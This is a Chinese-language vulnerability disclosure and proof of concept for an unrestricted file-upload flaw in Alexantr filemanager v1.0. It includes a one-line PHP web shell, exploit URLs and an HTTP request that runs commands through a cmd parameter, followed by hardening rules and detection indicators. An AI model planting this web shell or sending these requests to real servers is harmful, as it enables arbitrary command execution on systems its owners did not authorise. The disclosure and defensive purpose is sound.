
Alexantr filemanager v1.0 中通过不受限制的文件上传实现远程代码执行
CVE-2026-37637 的概念验证 - Alexantr filemanager v1.0 中通过 filemanager.php 的不受限制文件上传导致的远程代码执行漏洞。
CVE-2026-37637 是一个影响 Alexantr filemanager v1.0 的远程代码执行漏洞。
该漏洞存在于 filemanager.php 组件中,原因是上传文件的验证不足。远程攻击者可以将恶意 PHP 文件上传到 Web 可访问目录,并在服务器上执行任意命令。
CVE 状态:已提交至 MITRE
研究人员:CYBER-SEC 供应商仓库:https://github.com/alexantr/filemanager
| 项目 | 描述 |
|---|
| CVE ID | CVE-2026-37637 |
| 漏洞类型 | 远程代码执行 |
| 受影响产品 | Alexantr filemanager |
| 受影响版本 | v1.0 |
| 易受攻击组件 | filemanager.php |
| 攻击向量 | 远程 |
| 是否需要认证 | 取决于部署/配置 |
| 影响 | 任意命令执行 |
| 根本原因 | 不受限制的文件上传以及缺乏服务端文件验证 |
攻击者可以通过文件上传功能上传恶意 PHP 文件。由于上传的文件存储在 Web 可访问的位置且允许 PHP 执行,攻击者可以在服务器上执行任意系统命令。
成功利用该漏洞可能允许攻击者:
该应用程序允许用户上传任意文件,而未正确验证文件扩展名、MIME 类型或文件内容。
可以上传如下恶意 PHP 文件:
<?php system($_GET['cmd']); ?>
一旦上传到 Web 可访问目录,攻击者即可通过浏览器访问该文件并通过 cmd 参数传递命令来执行命令。
示例:
http://target/uploads/shell.php?cmd=id
这会导致在底层操作系统上执行命令。
git clone https://github.com/alexantr/filemanager
cd filemanager
php -S localhost:8000
在浏览器中打开应用程序:
http://localhost:8000/filemanager.php
根据部署或配置的不同,应用程序也可能通过以下地址访问:
http://localhost:8000/pheditor.php
创建一个名为 shell.php 的文件:
<?php system($_GET['cmd']); ?>
使用应用程序的上传功能上传该文件。
上传文件后,直接从浏览器访问它:
http://localhost:8000/uploads/shell.php?cmd=id
如果利用成功,服务器将执行该命令并返回输出。
示例输出:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<?php system($_GET['cmd']); ?>
GET /uploads/shell.php?cmd=id HTTP/1.1
Host: target
User-Agent: Mozilla/5.0
Connection: close
通过 cmd 参数提供的命令将在服务器上执行。
该漏洞是由于文件上传功能中服务端验证不足造成的。
应用程序未正确限制:
因此,可执行的 PHP 文件可以被上传并直接执行。
供应商和用户应实施以下防护措施。
禁止上传可执行文件类型,例如:
.php, .phtml, .php3, .php4, .php5, .phar
仅允许预期的文件类型,例如:
.jpg, .png, .gif, .txt, .pdf
不要仅依赖客户端提供的 Content-Type 标头。
文件验证应在服务端执行。
上传的文件不应可直接执行或公开访问。
对于 Apache,可以通过 .htaccess 实现:
php_flag engine off
RemoveHandler .php .phtml .php3 .php4 .php5 .phar
RemoveType .php .phtml .php3 .php4 .php5 .phar
对于 Nginx,阻止上传路径中的 PHP 处理:
location /uploads/ {
location ~ \.php$ {
deny all;
}
}
使用服务器随机生成的文件名,并移除用户可控的扩展名。
仅将上传功能限制为受信任的用户。
管理员可以在 Web 可访问目录中查找可疑的上传 PHP 文件。
示例指标:
shell.php
cmd.php
upload.php
backdoor.php
上传目录中的 .php 文件
可疑的请求模式可能包括:
?cmd=
?exec=
?shell=
?command=
示例日志条目:
GET /uploads/shell.php?cmd=id HTTP/1.1
本仓库仅用于教育和防御性安全目的。
所提供的信息和概念验证旨在帮助开发人员、系统管理员和安全专业人员理解并修复该漏洞。
未经明确授权,请勿使用此信息攻击系统。未经授权访问计算机系统是违法的。
作者不对本仓库中提供信息的任何滥用行为负责。